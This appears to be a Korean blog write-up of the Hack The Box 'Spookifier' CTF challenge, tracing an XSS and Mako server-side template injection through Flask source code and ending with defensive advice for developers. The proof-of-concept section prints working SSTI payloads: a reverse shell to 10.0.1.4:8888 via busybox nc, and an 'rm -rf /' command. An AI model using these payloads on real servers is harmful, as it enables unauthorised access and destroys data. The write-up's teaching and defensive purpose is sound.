Skip to content

"그냥 보여주는 거잖아요" 라고 말했던 코드의 결말

문제링크

https://app.hackthebox.com/challenges/413

개발자가 입력값을 제대로 통제하지 않으면 어떻게 될까요? 심각할 경우 서버가 장악될 수 있습니다. 이번 블로그에서는 그 위험성을 알리기 위해 HTB(Hack The Box)에서 제공하는 CTF('catch the flag')1문제인 Spookifier 사례를 살펴보겠습니다.

Spookifier 문제 분석

문제에 접속하면 다음과 같이 이름을 입력하는 칸과 Spookify버튼을 볼 수 있어요.

Image title

제 이름을 입력해서 Spookify 버튼을 누르니까 폰트가 변환된 제 닉네임을 볼 수 있어요. 기능은 이게 전부입니다.

Image title

1. API 확인

이제 Spookify 버튼을 눌렀을 때 어떤 일이 일어나는지 살펴봅시다. 우선 어떤 API를 호출해서 응답값을 반영하는지 확인하기 위해 개발자 도구를 엽니다.

Network탭에서 Spookify버튼을 눌렀을 때 넘겨지는 값을 확인해 보니, ?text=이름을 요청하면 자신이 입력한 문자열을 기반으로 응답값을 반환하는 것으로 분석됩니다.

Image title

2. 입력 값 필터링 확인

제가 요청한 값을 그대로 응답하기 때문에 HTML을 구성하는 특수문자가 처리되지 않게 필터링(escape) 되는지 확인해봅시다.

입력값에 '(작은따옴표), <>(꺽쇠), "(큰따옴표), &(앤드),등을 요청하면 응답 값이 그대로 전달되는 것을 볼 수 있습니다. 이를 제대로 처리하지 않을 경우 공격자는 XSS(크로스 사이트 스크립팅) 공격이 가능하게 됩니다.

Image title

3. 클라이언트 공격 실행

입력 값에 <script>console.log('test');</script>를 입력하면 console 창에 사용자가 입력한 출력 문구가 그대로 나오는 것을 볼 수 있으며, 이를 악용할 경우 피싱 사이트 이동, 다른 사용자 권한으로 대신 요청하는 CSRF 공격 등 시나리오에 이용할 수 있는 공격에 활용할 수 있습니다.

Image title

하지만 이 문제는 클라이언트 측에 스크립트를 실행하여 flag 값을 획득하기에는 제약사항이 많습니다. 웹 기능이 저 메인페이지 한 개 뿐이고, 회원 기반 서비스가 아니기 때문에 활용하기가 어려웠습니다.

이런 경우는 힌트를 얻기 위해 해당 웹 서비스의 소스코드 분석이 필요하다고 판단했습니다.

Spookifier 소스코드 분석

Spookifier의 디렉터리 구조는 다음과 같습니다. 개발자가 직접 작성한 백엔드 코드는 util, routes, main, run 정도가 되는 것으로 보여요. 그리고 저희의 목표인 flag.txt파일이 보이네요.

Image title

실행 환경 DockerFile 분석

DockerFile을 살펴보면 서비스가 어떻게 배포되는지 확인할 수 있어요. 우선 눈에 띄는 것은 패키지 의존성 입니다. 취약한 의존성을 발견하면 그틈을 이용해서 공격이 가능하기 때문입니다.

의존성 분석

해당 머신에선 Flask 2.0.0버전, mako, flask_mako, Werkzeug 2.0.0버전을 사용하네요 특히 특정 버전을 사용하고 있어서 관련 CVE가 있는지 살펴봐야겠습니다.

Falsk 2.0.0 버전에는 CVE-2023-30861 취약점이 존재하는데, 해당 CTF 만들 시점에는 반영이 되지 않아 이 취약점을 이용해서 해결하는 문제는 아닙니다.

mako, flask_mako는 Mako Templating을 지원하는 패키지라고 합니다. 추측으로는 저희 입력값을 html 형태로 변환해주는 역할을 해주는 것으로 분석됩니다.

Werkzeug는 웹 서비스를 디버깅 하기 위해 필요한 의존성으로 보입니다. 현재 개발자가 작성한 코드에는 활용하는 구문이 없는 것 같습니다.

실행 지점 분석

ENTRYPOINT를 살펴보면 supervisord를 실행하는 것을 확인할 수 있는데 해당 프로그램은 도커안에 여러 프로세스를 실행시키기 위해 활용된다고 합니다2. supervisord는 supervisord.conf 파일의 정보를 이용해 앱 실행정보를 설정하고 실행하는 것으로 보입니다. 저희의 목표인 flag.txt는 / 디렉터리에 위치하고 있어요.

FROM python:3.8-alpine
RUN apk add --no-cache --update supervisor gcc
# Upgrade pip
RUN python -m pip install --upgrade pip
# Install dependencies
RUN pip install Flask==2.0.0 mako flask_mako Werkzeug==2.0.0
# Copy flag
COPY flag.txt /flag.txt
# Setup app
RUN mkdir -p /app
# Switch working environment
WORKDIR /app
# Add application
COPY challenge .
# Setup supervisor
COPY config/supervisord.conf /etc/supervisord.conf
# Expose port the server is reachable on
EXPOSE 1337
# Disable pycache
ENV PYTHONDONTWRITEBYTECODE=1
# start supervisord
ENTRYPOINT ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]

sypervisord.conf 파일을 확인했어요. Windows-INI 형태의 설정 파일이고 program:flask 부분에서 /app/run.py를 실행하는 것을 찾았습니다.

[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid

[program:flask]
command=python /app/run.py
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

소스코드 분석

run.py

본격적으로 소스코드 분석을 해보겠습니다. run.py를 살펴보겠습니다. 1337포트를 통해 앱서비스를 실행하고 있고 use_evalex, debug 파라미터가 무슨 역할을 하는지 살펴보니 debug 모드를 비활성화 하는 옵션이라고 합니다. 위에서 봤던 Werkzeug 패키지를 이용한 공격은 할 수 없겠네요.

from application.main import app
app.run(host='0.0.0.0', port=1337, debug=False, use_evalex=False)
main.py

이제 main.py 쪽을 살펴봅시다. response 함수는 클라이언트 오류를 처리하기 위해 jsonify로 역직렬화 하는 것으로 보이고, application.blueprints.routes의 web 변수에 실제 처리하는 controller 코드로 추측됩니다.

from flask import Flask, jsonify
from application.blueprints.routes import web
from flask_mako import MakoTemplates

app = Flask(__name__)
MakoTemplates(app)

def response(message):
    return jsonify({'message': message})

app.register_blueprint(web, url_prefix='/')

@app.errorhandler(404)
def not_found(error):
    return response('404 Not Found'), 404

@app.errorhandler(403)
def forbidden(error):
    return response('403 Forbidden'), 403

@app.errorhandler(400)
def bad_request(error):
    return response('400 Bad Request'), 400
routes.py

이제 routes.py 입니다. API 확인 부분에서 에서 봤던 ?text= 부분을 처리하는 함수 index가 있네요. text 값이 존재하면 spookify 함수를 거쳐 index.html에 렌더링 하는 것을 볼 수 있습니다.

output 파라미터에 converted를 설정하고 있는데 render_template 함수를 조사해본 결과, output은 user가 직접 설정하는 값으로 확인되었습니다. 이걸 자세히 알려면 index.html파일 을 조사해 볼 필요가 있습니다.

from flask import Blueprint, request
from flask_mako import render_template
from application.util import spookify

web = Blueprint('web', __name__)

@web.route('/')
def index():
    text = request.args.get('text')
    if(text):
        converted = spookify(text)
        return render_template('index.html',output=converted)
    return render_template('index.html',output='')

index.html에는 아래처럼 ${output}으로 지정되어 있는 곳에 converted 값이 세팅되는 것으로 분석됩니다.

        <div class="output"></div>
        <table class="table table-bordered">
            <tbody>
                ${output} <!-- converted 값이 렌더링 하는 곳 -->
            </tbody>
        </table>
        </div>
util.py

이제 spookify 함수를 살펴보겠습니다. util.py내부에 spookify 가 들어있는데 내부적으로 호출하고 있는 change_font코드가 매우 복잡합니다. 그리고 generate_render 부분에서 저희가 응답값으로 봤던 틀(template)이 있는 것으로 보아 핵심 부분을 찾았습니다.

from mako.template import Template
def generate_render(converted_fonts):
    result = '''
        <tr>
            <td>{0}</td>
        </tr>
        <tr>
            <td>{1}</td>
        </tr>
        <tr>
            <td>{2}</td>
        </tr>
        <tr>
            <td>{3}</td>
        </tr>
    '''.format(*converted_fonts)
    return Template(result).render()

def change_font(text_list):
    text_list = [*text_list]
    current_font = []
    all_fonts = []
    add_font_to_list = lambda text,font_type : (
        [current_font.append(globals()[font_type].get(i, ' ')) for i in text], all_fonts.append(''.join(current_font)), current_font.clear()) and None

    add_font_to_list(text_list, 'font1')
    add_font_to_list(text_list, 'font2')
    add_font_to_list(text_list, 'font3')
    add_font_to_list(text_list, 'font4')

    return all_fonts

def spookify(text):
    converted_fonts = change_font(text_list=text)
    return generate_render(converted_fonts=converted_fonts)

원인은 어디에 있을까?

이 코드 안에 취약점이 있다는 건 바로 확인이 어려워 보입니다. 사용자가 입력한 문자열을 바탕으로 특수문자로 대응해 출력하는 구조인데, 사용자 입력 값을 변형해서 전달하는 것으로 해당 기능은 제 기능을 만족하고 있습니다.

그런데 일반 텍스트를 출력하는 요구사항에 generated_render 함수를 보면 특이한 객체(Template)를 만들어서 반환합니다. 그냥 result를 반환하면 안되는 이유가 있을까요?

def generate_render(converted_fonts):
    result = '''
        <tr>
            <td>{0}</td>
        </tr>
    '''.format(*converted_fonts)
    return Template(result).render()

그래서 AI를 활용하여 템플릿 엔진 적용 장/단점들을 물어봤습니다. 그러나 아래와 같은 답변을 하더군요. 요약하자면 아래와 같습니다.

1.코드와 템플릿 분리:
    - HTML 구조와 파이썬 로직을 분리해 유지보수 용이.

2.복잡한 템플릿 처리에 강함:
    - 반복문, 조건문 등 복잡한 구조를 템플릿 내부에서 처리 가능.

3. 자동 HTML 이스케이프:
    - 보안적인 측면에서 안전한 출력 처리 가능.

4. 빠른 렌더링 성능:
    - 템플릿을 Python 코드로 컴파일해 빠르게 실행됨.

5. 재사용성과 협업에 적합: 
    - Jinja2 등 다른 템플릿 엔진과 유사한 문법으로 범용성 있음.

이 말만 전적으로 수용하면 Template를 써야하는 이유는 타당해 보입니다. Mako template은 expression-substitution 를 제공합니다. 그 중 인상적인 문구를 가져와 봤습니다.

The contents within the `${}` tag are evaluated by Python directly, so full expressions are OK:

pythagorean theorem:  ${pow(x,2) + pow(y,2)}

The results of the expression are evaluated into a string result in all cases before being rendered to the output stream, such as the above example where the expression produces a numeric result.

위의 내용에 따르면 pow(x,2)함수를 실행시켜 나온 결과를 바탕으로 렌더링 된다고 합니다. 여기서 생각해봐야 할 게 있습니다.

만일 result가 불특정 다수가 요청한 임의의 문자열로 이루어지면 해당 값을 신뢰할 수 있을까?

다시 result를 만드는 코드를 살펴보겠습니다. converted_font에 만일 ${코드}가 들어가면 어떻게 될까요? 맞습니다. mako template의 expression-substitution 기능으로 인해 ${}안에 있는 코드가 실행되죠.

result = '''
        <tr>
            <td>{0}</td>
        </tr>
    '''.format(*converted_fonts)

Poc 작성

그럼 개념 증명을 해봅시다. Spookifier 페이지 기능에 ${1+1}을 입력하여 결과 값을 살펴봅시다. 아래와 같이 2가 나타납니다.

Image title

클라이언트는 이제 임의의 코드를 실행 가능한 것을 확인할 수 있었습니다. 여기서 이제 어떤 공격을 할 수 있을까요? 아래의 코드를 입력하면 어떻게 될까요?

${__import__('os').popen('busybox nc 10.0.1.4 8888 -e busybox sh').read()}

아님 이런 코드는 어때요?

${__import__('os').system('rm -rf /')}

위의 코드는 리눅스 시스템 명령어를 입력하여 10.0.1.4의 8888포트로 접속하여 sh 프로그램을 원격으로 실행시켜주는 리버스 쉘 공격 코드 입니다. 이를 활용하여 악의적인 사용자는 아래와 같이 운영 중인 서버에 정당한 인증 없이 직접 침투할 수 있게 됩니다.

Image title

그럼 어떻게 대응해야 할까?

이 글을 바탕으로, 개발 중 외부라이브러리의 기능을 제대로 파악하고 있지 않으면 발생할 수 있는 위협들을 함께 알아봤습니다. 하지만, 현실적으로 이런 기능들을 제대로 파악하는 건 어렵습니다. 취약점이 위와 같은 SSTI(Servier-Side-Template Injection)만 있는 것도 아니고, 위의 예시처럼 간단한 로직도 아닐겁니다. 개발자들은 어떻게 대응해야 할까요?

1. 사용자 입력 값을 신뢰하지 마세요

제안하고 싶은 건 불특정 다수의 입력 값들을 기본적으로 신뢰하지 않는다는 습관을 가져야 합니다. 사용자가 웹 브라우저나 앱을 통해 입력값을 전송한다고 가정하지 말아야합니다. 저희가 서버를 개발한 것과 같이 그들도 API를 직접 호출할 수 있고 필터링을 우회하는 값들을 언제든지 보낼 수 있다는 사실을 인지하고 있어야 합니다.

2. 만든 기능에 대한 실패 테스트 코드를 작성하세요

두 번째로 기능을 개발하면서 테스트 코드를 작성하십시오. 기능을 개발하고 바로 서비스를 업데이트하면 이러한 취약점을 쉽게 놓치게 됩니다. 개발하고자 하는 기능을 테스트 코드로 작성하다 보면 비 기능적인 부분과 기능적인 부분을 쉽게 인지하게 됩니다. 기능 완성을 우선해도 상관없습니다. 다만 해당 기능에 대한 테스트 코드에 '어떻게 하면 예상하는 것과 다른 값이 나올까?'라는 습관을 드리는 것을 추천합니다.

3. 로깅 전략을 잘 세워주세요

마지막으로 사용자 입력 값 로깅전략을 잘 세워야 합니다. 저희는 모든 공격을 방어할 수 없습니다. 프로덕션에 서비스를 배포했는데 보안 취약점이 발생할 수 있습니다. 침해를 당했어도 원인을 분석하기 위해선 사용자 입력 값들을 적절히 로깅하고 있어야합니다.

현실적으로 모든 API를 로깅하긴 어려습니다. POST 요청을 하는데 사용자 평균 요청값이 길거나, 첨부파일 자체를 로깅하거나, 대용량 트래픽을 처리하는 모든 요청 값들을 로깅하게 되면 가용성 문제가 발생할 수 있습니다. 또한 로깅을 하기 어려운 정보들도 있는데요 회원들의 채팅 기록이나 개인정보를 받는 입력 값들을 로깅할 때 접근통제가 미흡할 경우 엉뚱한 곳에서 침해사고가 발생할 수 있으니 신중해야겠죠.

결론

이번 글을 통해 불특정 값을 신뢰할 수 있을 때 발생할 수 있는 위협들을 알아봤습니다. 개발자는 구현해야 하는 기능을 우선순위로 둬야하는 건 인정합니다. 그러나 좋은 개발자란 작성한 코드를 여러 각도로 검토하는 습관을 가지는 사람이 아닐까 싶습니다. 이러한 여러 각도를 얻기 위해선 혼자서 고민하지 말고, 동료들에게 도움을 요청하여 놓치고 있는 점이 있는지 물어보는 것도 하나의 방법이라고 생각합니다.

어떠셨나요? 오늘도 잘 돌아가는 코드를 짜셨다면, 그 코드가 안전한지도 한 번 돌아보는건 어때요?


  1. Catch The Flag란 문제에 숨어있는 Secret 값을 획득하여 해킹을 증명하는 문제입니다. 

  2. https://docs.docker.com/engine/containers/multi-service_container/ 

Comments